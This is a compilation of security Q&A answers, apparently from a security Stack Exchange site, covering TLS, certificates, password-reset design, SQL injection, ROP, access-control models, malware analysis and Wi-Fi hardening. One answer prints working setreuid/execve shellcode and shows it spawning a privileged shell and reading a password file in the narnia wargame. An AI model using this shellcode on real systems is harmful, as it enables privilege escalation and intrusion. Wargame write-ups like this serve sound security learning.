How to prove some server sent some file over HTTPS

I assume you want cryptographic proof that the server really sent this exact response. If the server signed the TLS response with the private key, for example, this would give proof that the server really sent this response.

Unfortunately, this is not what happens with TLS. The server signs something (the ServerKeyExchange message) or the client encrypts something (the premaster secret) to proof that the server knows the private key. After that, the master secret is determined by both client and server and they use symmetric encryption for the communication. You could store this to show to someone else later, but you can just as well decrypt it and change it, so it wouldn't be much evidence that it is really what you received from the server.


How can we revoke all ssl certificates issued for our domain?

Partly solving the underlying problem, you may use Public-Key-Pins header to restrict which certificates are valid for your domain (so a stolen certificate could only be used by a man-in-the-middle if used on the first connection to your site).

You can also use Public-Key-Pins-Report-Only to get notifications for failed Pin validation.

Both headers are defined in draft-ietf-websec-key-pinning.

I'm afraid that for actually figuring if the attacker requested more certificates, you would indeed have to ask all CAs (it would make for a great blog post if you really go this route, though).


What are the security implications of enabling WINRM on all domain members?

"Security holes" I think is a bit subjective.  You need local administrator credentials to connect to WINRM.

It does increase the attack surface of the system, and it is disabled by default because it's not one of the top n services used by most administrators.

WINRM uses SOAP (WCF), which uses HTTP.sys, which makes it a prime target for attack.

Is it insecure? No. Is it insecure if it's enabled and it's never used? Not really, but there could be a vulnerability found in the future, and it would make you feel kinda dumb for enabling the thing when you don't ever use it and get attacked because of it.

If you are okay with that particular scenario, then sure it's no worse than the default shares. But it all depends on what kind of environment you are in. If you need or want to use WINRM for management of your machines, then you are probably fine to start it.


What are SSDP notify requests and where can I find out exactly what this traffic is?

It's the protocol used to control the WiFi access-point that sits between your cable-modem/DLS and your home.

It does a number of things for you. First of all, it tells you that the device exists, with a URL. You should then see an icon appear in various places on Windows that you can click on in order to open up a web browser to access to pages on the device to manage it. That's especially important for the multipurpose devices that support disk drives, music players, printers, and so on.

It's also used by applications in order to open up ports on the firewall. For example, if you run P2P applications like BitTorrent, you'll use this system to open up the port to receive incoming connections.

It's a Windows things, btw. Macintosh uses a competing standard based on MDNS.

The Wikipedia article is pretty scarce on this:
http://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol


Is zero knowledge possible with webbased encrypted email services?

I work at Mailfence as an Information security analyst.

  Where do they store my key.

When you generate your keypair, we first encrypt it with your passphrase in the browser and then store it on our servers. This way, server never sees the key in plain-text, and a zero-knowledge framework gets established.

  If my private key is stored on their servers, can't they decrypt all my mails?

No, we can't. As your private key is encrypted with your passphrase, which only you knows.

The blog-post Mailfence end-to-end encryption and digital signatures will give you more insights in this regard (including the open-source libraries that we use to perform crypto-based operations).

We are always open to external (legitimate) audits, and to further strengthen our transparency - we have also planned to go open-source. It's now only a matter of time and priorities.


How is a website determining my location even via VPN?

Something isn't adding up here. I've tried so many combinations and I wasn't able to reproduce your situation. This leads me to believe that your VPN provider is leaking your original IP address.

1. I opened ikea.com using a clean browser (fresh portable Firefox). It took me to to the default locale selection page.

2. Using another clean browser, I opened ikea.com using a Chinese proxy, I was redirected to ikea.com/cn/en

3. Using the same browser from step #2 (to ensure that any detection cookies or configurations are preserved) I went to ikea.com using my normal connection. I was taken to the default locale selection page.

4. Again, I used another Chinese proxy and I was redirected to ikea.com/cn/en.

5. Finally, I tried a U.S. proxy, and I was taken to the same locale selection page.

You're either falsifying or withholding some information, or your VPN provider is somehow revealing your IP.

In all cases I used the same browser language configurations you're using

  My browser (Firefox) shows 2 languages: en-US and en.

Update:

I've just performed another test. Using my normal connection, I've disabled JavaScript to make sure that there's no JavaScript hocus pocus going on. Then I modified the HTTP Accept-Language header to zh-CN,zh. I was still taken to the locale selection page.

It's safe to assume that IKEA website is pretty dumb and it's only using the IP address to determine the locale.


I struggled with this for quite a while and eventually had to modify some of the shellcode I found online.

;;; Corrected assembler, based on original from:-
;;; http://shell-storm.org/shellcode/files/shellcode-399.php

      BITS 32

      push byte   0x31
      pop         eax               ; EAX = 0x31
      xor         edx, edx
      int         0x80              ; geteuid();
      mov         ebx, eax          ; result into both args of setreuid() call...
      mov         ecx, eax
      push byte   0x46              ;
      pop         eax               ; EAX = 0x46
      int         0x80              ; setreuid(geteuid(),geteuid());
      mov         al, 0xb           ; execve syscall
      push        edx               ; push \0 string terminator
      push        0x68732f6e        ; hs/n
      push        0x69622f2f        ; ib//
      mov         ebx, esp          ; EBX -> "//bin/sh"
      mov         ecx, edx          ; ECX = 0
      int         0x80              ; execve(/bin/sh,0,0);

Here's the shellcode string:-

"\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"

And here's how to use it:-

narnia1@narnia:/narnia$ export EGG=`python -c 'print "\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
$ cat /etc/narnia_pass/narnia2
******* (the password)


How do I get my Encryption Certificate back?

If you haven't backed up the certificates and if you reinstalled your operating system, chances are high the files got overwritten. This means the certificates will not be recoverable from your hard drive. You can always try some file-recovery tools (like Undelete 360 ) to try and recover the certificates.


I infer you're interpreting the cloud as a "tenant based" instance where you are on a hosted server, with 100s of other companies. This is not always the case. Using AWS as an example, or Softlayer, you can throw up your instances and use the same principles to lock things down. E.g., throw on a firewall ACL ONLY allowing connections to your instance from sources you desire.

I have had issues with handing over keys to kingdoms to cloud providers. One thing I never do is trust pretty much anything they say. I go about locking down my instances the same way I would if they were physically present. The biggest issue I have even with that model is, people fail, services fail, so am I willing to take that chance?

Think about the following, you create an instance lock it down to the Nth degree. A rogue Softlayer employee takes a snapshot of your ESX guest, exports it. You'd never know no matter what you put on your guest. This is not to say someone at Softlayer or another company would, but there is that possibility. You're at the mercy of another organization, and you're hoping they are on top of their game with regards to security. THAT in itself is laughable considering the amount of companies that have been breached.

So for me... Had I do throw up a chat server, sure, it'd be encrypted on the wire, in transit, off-site logging, full lock down like everything else. Would I throw up say my databases storing mission critical stuff? No thanks. That's just me.


Can you prove to a 3rd party, that a HTTPS TLS session took place?

While TLS identifies the server and protects data against sniffing and modification it does not contain some kind of proof that the server sent specific data which can be used outside the TLS connection. This means if Alice could capture the full TLS traffic, extract the encryption keys and hand all of this to Eve, then Eve could actually verify that the data was sent by Bob (or at least somebody in possession of Bobs private key) but, they could also get the rest of the traffic, i.e. all the cookies etc.

To achieve such proof Bob would actually need to sign the relevant data (and only this data) outside of TLS so that Alice could hand over the signed data to Eve which could then verify the signature using Bobs certificate.


How to implement “forgot password” functionality?

Use HTTPS only for this, and then we'll get onto details of implementation.

First of all you're going to want to protect against user enumeration.

That is, don't reveal in the page whether the user exists or not. This should only be disclosed in the email itself.

Secondly you will want to avoid referrer leakage. Ensure no external links or external resources are present on your target link. One way to mitigate this is to redirect after the initial link is followed so that the token is no longer in the query string. Be aware that if something goes wrong (e.g. your database is briefly down), and a standard error template is shown, then this may cause the token to be leaked should it contain any external references.

Generate a token with 128bits of entropy with a CSPRNG. Store this server-side using SHA-2 to prevent any data leakage vulnerabilities on your reset table from allowing an attacker to reset passwords. Note that salt is not needed. Expire these tokens after a short time (e.g. a few hours).

As well as providing the non-hashed token to the user in the email link, give the option for the user to navigate to the page manually and then paste in the token value. This can prevent query string values from being logged in browser history, and within any proxy and server logs by default.

Optionally you may want to make sure that the session identifier for the session that initiated the password reset is the one that followed the link. This can help protect an account where the attacker has access to the user's email (e.g. setting up a quick forward all rule with limited access to the email account). However, all this really does is prevent an attacker from opportunistically following a user requested reset - the attacker could still request their own reset token for the victim should they want to target your particular site.

Once the password has been reset to one of the user's choice, you will need to expire the token and send the user an email to let them know this has happened just in case an attacker has somehow managed to reset their password (without necessarily having control of their mail account) - defence in depth. You should also rotate the current session identifier and expire any others for this user account.
This negates the need of the user having to log in again, whilst also clearing any sessions ridden by an attacker, although some users like to have the site log them out so they get a comfort blanket of confirmation that their password has actually been reset. Redirecting to the login page also gives some password managers the chance to save the login URL and the new password, although many already detect the new password from the reset page.

You may also wish to consider other out of band options for the reset mechanism and the change notifications. For example, by SMS or mobile phone alerts.


Is there any security issue when removing a LUKS partition without luksClose?

No.

But your RAM or swap could perhaps be used to pilfer the key. In the RAM case this requires special hardware IIRC.

There are those complex sidechannel attacks which are no longer so theoretical, but not common. For evilmaid, there's anti-evilmaid, or just control boot from removable media with a password.

I've had some love by hibernating systems, doing a few things, and popping them back on. This is also prevented with a boot password.


What trust level should I give keys I need for encryption?

The title of the post and the actual question you're asking don't quite match. If I'm reading this right you're asking how best to use your own public PGP key to encrypt backups. On the other hand the title of the question is getting at assigning trust levels to keys for encryption. Sounds to me like you're using your own key for the encryption so assigning it a level of trust isn't what you're looking for. IMHO you're using the wrong GPG 'trust model' for the the backup problem.

You can explicitly bypass all key validation in GPG by changing the 'trust model' for the command you're executing. By default the 'PGP' trust model is used which is why GPG expects you to explicitly mark keys as trusted. Alternatively you can tell GPG to use the 'always' trust model which will bypass the message you're seeing:

--trust-model always

I think this will get you the behavior you're after. Keep in mind though, your script is downloading a key from a remote host that you don't control so you don't really have any guarantee that it's the key you're expecting (key server compromise). If you're only expecting to use the one key to encrypt your backups it may be sufficient to simply embed the public key in your script (it's not sensitive) and cut the keyserver out of the architecture completely. This will remove all reliance on the keyserver and simplify the trust relationships in your backup solution.

Just a though. Hope this helps.

As requested here's an example. Let's assume I want to collect backup data on a system that I admin. I only want this backup data to be recoverable by myself. To achieve this I want all data collected in the script to be encrypted with my public PGP key. I'm also assuming that the user account doing the backup isn't used for anything beyond backups so there's nothing important in the ~/.gnupg directory and that I can delete it without worrying about lost keys.

ALWAYS BACKUP your .gnupg directory before playing around with this!

The following is a simple bash script that will encrypt some text with a public key that's embedded in the script:

#!/bin/bash -e

gpg --trust-model always --import <<EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.12 (GNU/Linux)

xxxxxx
...
...
-----END PGP PUBLIC KEY BLOCK-----
EOF

echo "backup data" | gpg --trust-model always --armor  --encrypt --recipient guest@example.org > backup-data.enc

The 'magic' in this script is the use of the shell 'Here Document' (see the EOF markers) to embed my public key in the script while passing it to gpg over stdin to import my key before doing the encryption / backup task. Naturally you'll have to put all of your ASCII armored public key in place of the '...'s in my example. Also be sure to replace 'guest@example.org' with the ID associated with your public key. Typically this is your email.

There's a million ways to clean this example up and make it more useful. Importing the public key on each run is a bit ridiculous so checking to see if the key is already in the ring is where I'd start :)

Good luck!


Explanation of the authentication procedure when using signed certificates

Two things are happening here. One is the identification, and the other is authentication.

Identification: your IoT device states who it is. This is basically a claim. This is done by sending over the certificate. The server makes sure it is an identity that actually exists by checking if the certificate was signed by a trusted root (probably one of Amazon's own). Once the server confirms the identity exists it wants proof in the form of authentication.

Authentication: your device proves it is who it claims to be by signing some data that can be verified by the public key contained in the certificate it presented earlier.

Onto your questions.

  Why isn't the private key enough to have on the device?

If only this is done, the server has no way of knowing which public key to use for verification. It has to look up the public key somehow. There are various ways to do this, for instance, SSH can work without certificates. In TLS, it works by presenting a client certificate to the server, which contains this public key.

  Or does the device send the device certificate to the server and the server compares it with the one it has stored?

Yes, the device sends over the certificate, but the server doesn't compare it to a stored version. It checks the trust chain.

You can check out the full flow in Wireshark. I built a sample app with certificate authentication. It works over HTTPS but the process is the same on the TLS level. Here is the post accompanying that repository.


Generate a self signed certificate and install it on all devices you want using this service.

If you disable verification then there is no reason to have it be over HTTPS in the first place.


Is it possible to lock down the http / https proxy settings on an iPhone?

Configuration 2 has an option specifically for a HTTP Global Proxy. You will need to get it on the Mac app store (https://itunes.apple.com/us/app/apple-configurator-2/id1037126344?mt=12).

Once you've downloaded that, create a new profile with the HTTP Global Proxy, sign it, and add it to your iDevice.

See this link for more information https://discussions.apple.com/thread/4359121?tstart=0


Generally you should generate key pairs on the device itself. That way your key stays at the location it is used for, minimizing the possibility to attack. Besides that, you can be certain that the certificate is compatible with the protocol. Certificates follow a well established standardized protocol (X509v3) but there certainly will still be implementation differences, if just because of the complexity of the data structure.

There is generally no need to backup . If the key is lost you can simply regenerate a new set of key pair -> CSR -> certificate. This is because you generally trust a higher level certificate than the root certificate. For a professional setup I would certainly not go for a self signed certificate (a certificate chain of length 1). One reason for distributing a certificate would be a load balancing cluster in which you want to reuse the key / certificate - it that is not taken care for automatically.

If you really require special certificate details (a specific name, key size etc.) then you could import the key / certificate using a PKCS#12 key store or similar. However please remember that preciously few people will actually look at the certificates. You're the person securing the infrastructure, after all.

I'd spend most of the time thinking about accessibility of the certificates and of course the validity period of your certificates. It seems you try and follow good crypto practices for this part of the setup. Time to think about the other parts. Generally time spend splitting hairs means that other parts of the system are forgotten.


How to brute force Last Pass local storage extension?

Lastpass uses PBKDF2 for password hashing with 5000 iterations and SHA-256 (reference).

So if you have actually forgotten your password I doubt that you will be successful using brute force.

If you want to estimate your success probability get hashcat and run it in benchmarking mode.
It will figure out how many hashes/second it can try and if you tell it what you are looking for (maybe you still have a vague idea what the password was)  even how many possibilities there are and how long it will take.


How does one test AV against zero-day malware?

First off, virtually all AV companies have several "fly traps" or "honeypots". A fly trap is a network of desktop computers with Internet access and zero protection that exist to "catch" malware. Bot-scripts on the computers crawl the web looking for risky sites, and break all the rules for safe browsing that are drilled into us normal people. As a result, they pretty much become petri dishes for computer viruses.

These fly traps serve two valuable purposes to security experts; first, these boxes catch new malware that may never have been seen before, giving experts notice that a zero-day threat exists. Second, once they've isolated something new, they can introduce it into a completely isolated, "clean" fly trap with a lot of monitoring tools, and watch it do its thing; see how it replicates, what protocols and ports it uses, what files it modifies, what harmful effects it can have; generally, everything they need to know to be able to protect AV subscribers from this new threat. They can also introduce it to a computer protected by their AV software, and see how well it fares; anything the virus does that the AV doesn't catch and prevent can be specifically looked for by tweaking their virus definition files or their heuristic algorithms to add this known threat.

In addition, AV experts have been at this for years. Decades even. Despite news stories reporting worms like Confickr, Storm, Stuxnet etc, these are the two or three a year that are notable; thousands of new viruses a year go unreported, because they're really just a rehash of something the AV guys already knew about. As Techbrunch said, most AVs have a heuristic detection algorithm layered on top of looking for specific known viruses. There are areas of a computer that are obvious targets (kernel, device drivers, network adapter, I/O hooks), and there are well-known ways to try to get to them. AV algorithms continually scan a protected system looking for these general red flags. Those thousands of new but unoriginal viruses trip the heuristic detection, the AV interrogates the source, collects information, quarantines anything that might have been maliciously affected and calls home to report this new potential malware. This heuristic algorithm basically turns every AV-protected computer in the world into a huge fly trap for the company writing the AV; what better way to see what needs to be defended against than to see infections happening in the real world?


There's no need to perform any push operations since you control the stack already. You can have the data you wish to store within your registers already placed where you can conveniently perform operations with them.

In ROP, you find a series of useful code snippets present already within your target program that you can refer to as gadgets, which are typically the tail ends of normal subroutines that do operations you need for successful exploitation. You line up the addresses of the gadgets you wish to execute and the data you'd like to use with them inside a fake stack in memory you control before you perform a "stack pivot" to move your stack pointer (esp in x86) into your data.

After the stack pointer has been moved into your data, control of the program will be forfeited to your fake stack at the next ret. When this instruction executes, the top word/address on the stack (0x100016f0 in your example) will be popped of, and placed into the program counter to redirect it into a gadget on the tail end of some function looks like pop eax; ret;.

Where the next word on your stack is 2) 0x01a19f7f (a value), your stack pointer would already be pointing to this data when the pop instruction executes, storing this word inside your eax register.

Then, the ret to immediately follow pops off your next ROP gadget address to continue on in execution.


Is an ACL Sufficient for business firewall?

No, no and no.

ACL's block traffic from specific IP's, subnets or ports/services (depending on whether you're using standard or extended), but they perform no real firewall functions as you stated before. Security is best in layers, and ACL's are meant to be one layer in a much larger security plan. There is no intrusion detection or intrusion protection, and no serious threat mitigation with them. Also, EOL for 3+ years is very dangerous as there are new exploits developed daily, and Cisco has had a lot of CVE's lately...

In addition to ACL's, you need at least one security appliance. For a company your size, Sonicwall would be a great fit. Barracuda is also an option, although they do not provide identical services.

I was an admin in a similar sized company many years ago, and we had nothing but Clam AV when I started. I'll spare you the details but we were routinely targeted with little protection and had a difficult time responding to threats. It took a very costly malware incident to finally convince the owner to cough up the money for a Sonicwall. Ours didn't cost the industry average of $7.91 million referenced just above, but it sure as (insert preferred profane word here) was more expensive than buying several appliances.


What are some best practices for WiFi security, in light of recently discovered vulnerabilities?

With all the recent WIFI hacks, how we should configure our organizational Wifi security configs and version?

You may need to be a bit more explicit with your concerns. You mention KRACK; I posted this answer about the impact of KRACK. Over a year since that post and there are still no reports of this exploit in the wild. KRACK is in most practical terms a non-concern at this point. Could this change? Sure, but not likely.

Only other recent "WIFI hack" I am aware of is the hashcat attack on PMKIDs on wireless networks using PSK. Mitigations here are to either use longer, more complex PSKs or switch to 802.1X.

While it isn't a hack, WPA3 has been mentioned in a number of media channels and is the source of a number of these discussions I have had in the past months, so let me point to another of my answers that talks about WPA3. The majority of that answer still holds true despite some minor changes from the WFA (for instance, I believe OWE is now optional as well).

  How we can set our organizational enterprise WiFi to be secure, if there no best practices to follow?

All the major enterprise wireless vendors maintain their own best practice document(s) that contains security and design recommendations. Here are some examples: Cisco, Aruba, and Ruckus.

While many of the recommendations in vendor best practice documents are specific to their platform, the principles often can still be applied. But some general guidance I would give to any deployment I am involved in would be the following:

Use 802.1X over PSK. Depending on your security requirements, pick the first option from below EAP methods:

EAP-PEAP or EAP-TTLS with proper client/supplicant configuration and two factor authentication generally considered most secure.
EAP-TLS if you can't use the above with TFA.
EAP-PEAP or EAP-TTLS with proper client/supplicant configuration - generally sufficient for non-mobile devices and doesn't involve the additional complexities of client certificates used by EAP-TLS.

If you must use PSK, make it long and complex (but length trumps complex if you must choose between the two).
Disable fast roaming/transition/PMK caching features on infrastructure if not necessary. This will slow down client connections and increase load on RADIUS servers.
Disable the use of WEP or TKIP (often tied to WPA) - not only necessary from security perspective, but from performance perspective as well (802.11n or newer networks disable data rates higher than 54Mbps if either is in use).
Enable mandatory 802.11w (protected management frames) if your clients support it.
Require use of DHCP by clients if possible.
Enable client isolation features if available and your wireless clients do not need access to other wireless clients.
Enable rogue detection features to notify when networks are found using the same SSID(s) as your network.
Keep your clients and infrastructure patched.


Passive scanning such as determining geo location, IP address, network routes is probably a good idea (to give you an understanding of where attacks are originating from).

Update:
Actually for larger institutions this is kind of essential in determining whether the attack is a large scale organised attack or simply a lone hacker testing out the defences. Either way it will probably be distributed. In either case it will provide useful information for further locking down the firewalls.

Depending on the legal framework of the country you live in, retaliating to an attack with a active network attack of your own (such as DOS or virus) would constitute an illegal act.


Why file hosting sites never ban files using MD5 hash?

Because every version of a protected file would have to have their MD5 hash submitted, and a pirate can alter the file (add or remove something) and thereby modify the hash.

Hashes are the wrong technology to do what you are thinking. Hashes are good for claiming that 2 files are the same, not that all files must be the same file.


Nmap give me a ssh service with OpenSSH 12.1

Someone is being deliberately deceptive. Nmap's service fingerprints are written as regular expressions that match and capture portions of the banner. Here's an example for OpenSSH:

match ssh m|^SSH-([\d.]+)-OpenSSH[_-]([\w.]+)\r?\n|i p/OpenSSH/ v/$2/ i/protocol $1/ cpe:/a:openbsd:openssh:$2/

So if someone created an SSH service that returned a banner like this:

SSH-2.0-OpenSSH-12.1

Then it would produce the output you see. OpenSSH itself does not allow this banner to be configured at runtime, so the person in question either changed the code before compiling or is running some other SSH daemon.


How to prevent from memcpy, cause Heap Overlflow?

The problem is that you are adding the two integers before performing the length check.

if (len1 + len2 > 256) {return -1}    // length check

If len1 and/or len2 are sufficiently large, the addition will overflow, and the length check may go through even though the len1 and/or len2 are too large. To be safe, you must check twice:

if ((len1 > 256) || (len2 > 256) ||(len1 + len2 > 256)) {return -1}

For an example, try setting len1 and len2 to UINT_MAX/2+1. Then  len1 + len2 will (usually) be 0.


Why most of the Websites supports only Paypal for online transaction?

This isn't a security question, however a quick answer:

It's cheaper than using a credit card broker. Paypal's fees are low, meaning more take-home for websites
The API is easy to use and well supported.


How to secure a dedicated linux server running a LAMP stack for commercial E-commerce use

This is really a pretty stinking huge question. Based on your chosen tags it looks like you're asking for guidance on a LAMP stack, so we'll focus on that. There are already a number of related hardening questions posted, so for some additional insights check out these questions:
MySQL Server Hardening
Hardening Linux Server
What are the best practices for hardening a php.ini file?
Apache Server Hardening

The specific techniques you take could depend highly on your environment and how your server will be used. Warning, this can take a lot of work in a test environment to build out and get done right. Followed by a lot of work to integrate into your production environment, and more importantly, business process.

First, however, check to see if your organization has any hardening policies, as those might be the most directly relevant. If not, depending on your role, this might be a great time to build them out. I would also recommend tackling each component separately from the bottom up.

The L
There are lots of good guides available to help you out. This list may or may not help you depending on your distribution.

Center for Internet Security Benchmarks - Distribution specific for the major flavors
CentOS Hardening HowTo - Follows closely to the CIS RHEL5 guide, but is a much easier read
NIST SP800-123 - Guide to General Server Security
NSA Hardening Factsheets - Not as recently updated as CIS, but still mostly applicable
Tiger - Live System Security Auditing Software

The A
Apache can be fun to secure.  I find it easier to harden the OS and maintain usability than either Apache or PHP.

Apache Server Hardening - This question on the IT Security sister site has lots of good information.
Center for Internet Security Benchmarks - Again, Apache benchmarks.
Apache Security Tips - Straight from the Apache project, it looks like it covers the basics
DISA Hardening Checklist - Checklist from the DoD Information Assurance guys

The M

Center for Internet Security Benchmarks - Again, but for MySQL benchmarks
OWASP MySQL Hardening
General Security Guidelines - Basic checklist from the project devs

The P
This runs headlong into the whole idea of Secure Programming Practices, which is an entire discipline of its own. SANS and OWASP have a ridiculous amount of information on the subject, so I won't try to replicate it here. I will focus on the runtime configuration and let your developers worry about the rest. Sometimes the 'P' in LAMP refers to Perl, but usually PHP. I am assuming the latter.

Hardening PHP - Some minor discussion, also on IT Security SE site.
Hardened PHP Project - Main project that produces Suhosin, an attempt to patch the PHP application to project against certain types of attacks.
Hardening PHP With Suhosin - A brief HowTo specifically for Suhosin
Hardening PHP from php.ini - Short, but not bad discussion on some of the security related runtime options


Somebody gained access to MySQL database

The vulnerability you describe is called SQL injection. It can be prevented by using parameterized queries. In this specific case it is also a good idea to do input validation, to make sure estateID is a number. This site explains how to prevent SQL injection for several programming languages.


I suspect you are slightly confused about how Bell-Lapadula works, and in particular, how categories work in Bell-Lapadula.

Classifications are necessarily ordered.  In your example, we have Restricted < Confidential < Secret < Top Secret.  So far, so good.
Categories are, in general, not ordered.  Often, they are a set, with no ordering amongst them.  They are used for compartmentalization, and they are orthogonal to classification.  A compartment is used to further restrict dissemination to a group of individuals with a need-to-know.  Examples of compartments (categories) might be GAMMA (interception of Soviet communications), RUFF (images obtained by satellite), or somesuch.  For instance, the set of categories might be {GAMMA, RUFF}, with no ordering implied between GAMMA vs RUFF.

A document might be stamped, e.g., Top Secret GAMMA RUFF.  For someone to be allowed to read this document, they need both Top Secret clearance, and they need to be authorized to access material in the GAMMA compartment and to access material in the RUFF compartment.  In general, to read some document, your clearance needs to be at least as high as the classification, and you have to be a member of every compartment (category) that the document is labelled with.

Thus, in practice, compartments would never be ranks like Lieutenant.  Your example doesn't make sense.

With this background, each document / data item is labelled as follows:

It has a classification.
It has a set of categories (compartments).

You can represent the classification as @Jeff Ferland suggests.  To represent the set of categories, you'll need to modify @Jeff's suggestion, and store a set of categories.

The most interesting part is not the representation of labels; the most interesting part is to figure out how to compare two labels.  If a document has label L, and a person has label L', should the person be allowed to read the document?  To check that you understand the Bell-Lapadula model, I suggest that you code up this check, for some example.


The code is not safe against SQL injection because you neither use parameter binding nor you escape user input properly.

I recommend you to have a look at http://bobby-tables.com/ to get a better understanding of how SQL injection works and how to write code which is safe against SQL injection in the programming language of your choice.


How to prevent hotlinking on binary content served through PHP?

You can set a cookie when the user requests watchvideo.php, containing a hash of values identifying the client, like user agent, IP address, and so:

<?php
 $ip = $_SERVER['REMOTE_ADDR'];
 $browser = implode(':', $_SERVER['HTTP_USER_AGENT']);
 $userFingerprint = md5($browser . $ip);
 setcookie('userdata', $userFingerprint, time() + 10); //expires in 10 sec
?>

On media.php, you read the cookie back:

<?php
 $ip = $_SERVER['REMOTE_ADDR'];
 $browser = implode(':', $_SERVER['HTTP_USER_AGENT']);
 $userFingerprint = md5($browser . $ip);
 if ($_COOKIE['userdata'] != $userFingerprint) {
    header("HTTP/1.1 403 Forbidden");
    exit;
 }
 do_the_byte_range_stuff();
?>

I used MD5, because I don't care about collisions here, I just want a fast hash. You can go overkill and employ BCrypt or PBKDF2, but you absolutely don't have to.


I can receive all PADI packets for PPPoE connections of my ISP, is that a problem?

I remember an Article on the German news site heise.de which described a similar vulnerability at a German DSL provider:

Wenn der Nachbar heimlich mitsurft  (Google-Translate)
Fremde Daten per ADSL-Kurzschluss   (Google-Translate)

The problem in that case was, that not only all the PPPoE packets were visible, but all packets. So if connected directly to a Windows computer, Windows would autoconfigure a private ip-address in the 169.0.0.0/8 range. Furthermore since this is another interface, Firewall rules for the internet-connection were not applied, exposing the Windows Network file and printer sharing.

So this is the next thing to check.


What makes you believe it is not executing properly? Many variants of malware have checks and balances that disable full execution if certain programmed parameters are not met for example:

Check if I am virtualized if so don't run
Check to see if I have true Internet connectivity if not don't run
Check to see if I can exploit anything on this machine for proper
privileges

In the first, you could edit out any traces of VMWare, Virtualbox, etc. In the second, this can become tricky. If you browse over to Virustotal and check samples, you will see many make what appear to be absurd connections to legitimate sites (e.g., ping 8.8.8.8 or 8.8.4.4). It may work like this:

InfectedHost --> do something --> legitimate site
InfectedHost --> check value of what I just did
InfectedHost --> does value match pre-programming? If not die

When using DNS you need to be cautious as well. Once upon a three years ago, I was analyzing a variant of SDBot. The variant would put "windowsupdate.com" in the host file pointed at a bogus address. It could make a beacon connection:

InfectedHost --> windowsupdate.com
InfectedHost --> give me this update (would never work but return a 404)

The 404 is what would trigger the C&C functionality. My suggestion is to analyze all of the activity and give it what it wants. On the worse case, create a snapshot/ghost of your image. Let it run in a true isolated network for a minute or so. Freeze it, analyze the traffic, and go from there. Keep in mind, it's all in the programming, so you may need to disassemble it in IDA as well. The instances of SDBot I analyzed would never begin immediate connections, they'd wait till different times, scattered hours, hours after an infection.


Protect against client-initiated renegotiation DoS in OpenSSL/Python

There is no simple way to disable client initiated renegotiations at the server side. The usual way is to detect and count renegotiations by using SSL_CTX_set_info_callback with an appropriate function and to close the connection if too much renegotiations happen.

A code example how this can be done within C can be found at https://github.com/nodejs/node-v0.x-archive/issues/2726#issuecomment-3901047. The set_info_callback function should be available within python's OpenSSL interface too, but I'have no running code for this. If you need help with the Python specific part you might better ask at stackoverflow then.


could dynamic object instantiation + arbitrary cast in java could lead to an RCE?

The answer will greatly depend on what is in the classpath. However, I cannot see in you XML snippet where you would pass the command to execute in your example.

So without knowing more about the environment it is impossible to answer your question. However, it would be beneficial for you to check out some java deserialization gadgets.

If you haven't heard about java deserialiaztion vulnerability I recommend this and this.


Quoting this SANS article:

Static Separation of Duties defines role memberships that are mutually exclusive. For example, RBAC can ensure that users cannot be members of both the purchasing role and the approving role. That is how SSD ensures that the same person cannot purchase and approve the purchase.
Dynamic Separation of Duties allows the same person to be in the purchasing role and the approving role, but they would be prohibited from approving their own purchase. They would only be able to approve the purchases of others.
Another example would be restricting the person who made firewall configuration changes from auditing and approving those same changes. In the SSD model, a user may not be members of both roles. In the DSD model, a user could be a member of both roles, but could not function in both capacities for the same linked transactions.


Is there any security in locking down a router by MAC address for wired clients?

In answer to 'is there any security in locking down by MAC address', yes there is, but it is limited to accidental misconnection of equipment and simple attempts at deliberate unauthorised access.

Provided the router is physically secured (as already mentioned in Daedalus Mythos's answer), MAC lockdown will help to provide defence in depth. I suspect that the following will not apply to your setup but nonetheless, if logging has been configured to identify connection of unauthorised devices, there is likely to be evidence of someone attempting to bypass the MAC controls, which could enable investigation prior to an actual compromise occurring (in this scenario it is a detective control rather than preventative control).


Isn't oAuth weaker than traditional passwords

Tokens and passwords are really very different things. But you haven't specified in your question what you are really asking.  You mention OAuth in the subject line of your question but then don't mention it again in the body of the question.  OAuth has different kinds of tokens in its spec, depending on what sub-spec you're talking about and what kind of token you're talking about.

I have to assume you're talking about Bearer tokens, i.e, the tokens that are handed out after the OAuth flow is completed. In some cases you may not even need to store Bearer tokens in the server anywhere, so the question of whether or not to store them as hashes doesn't apply.  If you're talking about refresh tokens, then that might be a situation in which you might want to store them, but I can also see the same methods applied to refresh tokens as to bearer access tokens, so they probably don't need to be stored on the server either, they just need to be signed to detect tampering. In order to get OAuth to work this way, you'd need to take a look at the OAUTH-JWT Bearer token spec: https://tools.ietf.org/html/draft-ietf-oauth-jwt-bearer-12

That all having been said, no matter what kind of token you are using or what kind of OAuth flow you're using, you should be relying on TLS to secure the communication between resources.

OAuth is a very complex spec and there is no one-size-fits-all answer to most of the questions about OAuth.


Near impossible, or at least very difficult.  First, there is too much data.  It would take a VERY long time to compute a hash of the entire HDD every shutdown and again for every boot.  You could alternately use chaining of hashes though to get around that, but it would require a specialized file system.  Second however, even if you were willing to wait for a full hash or use a file system that does chaining like that, values are going to change during the boot process itself.  Temp files will be created, paging files will change, etc, so it won't work on a system drive without a specialized boot loader on the USB stick that could validate from the earliest stages.

Either way, the hash is irrelevant if the encryption key is securely maintained.  You can't meaningfully change encrypted data if you don't have the encryption key.  You can corrupt it, but a basic parity check would find that kind of tampering.  If the encryption key becomes compromised, you are screwed either way as your data could be read without altering the drive.

An elaborate attacker could also do something like loading in to firmware or memory before your hash can run and then replacing itself after your check, thus avoiding detection by this means (and altering the hash after the first time) unless you do some really elaborate custom mounting that will process everything from the HDD as untrusted and only load things which pass validation chaining.

It also is a lot easier if you are mounting it as an offline drive mounted after boot and can trust the hardware you are connecting to it since that doesn't require a trusted bootloader then.  If you can't trust the hardware, bios and other system firmwares also become a concern.

Not much is out there to try to handle this situation as just about every threat model considers the system broken if the key is compromised.


If DNSSEC is so questionable, why is it ahead of DNSCurve in adoption?

There's a problem:
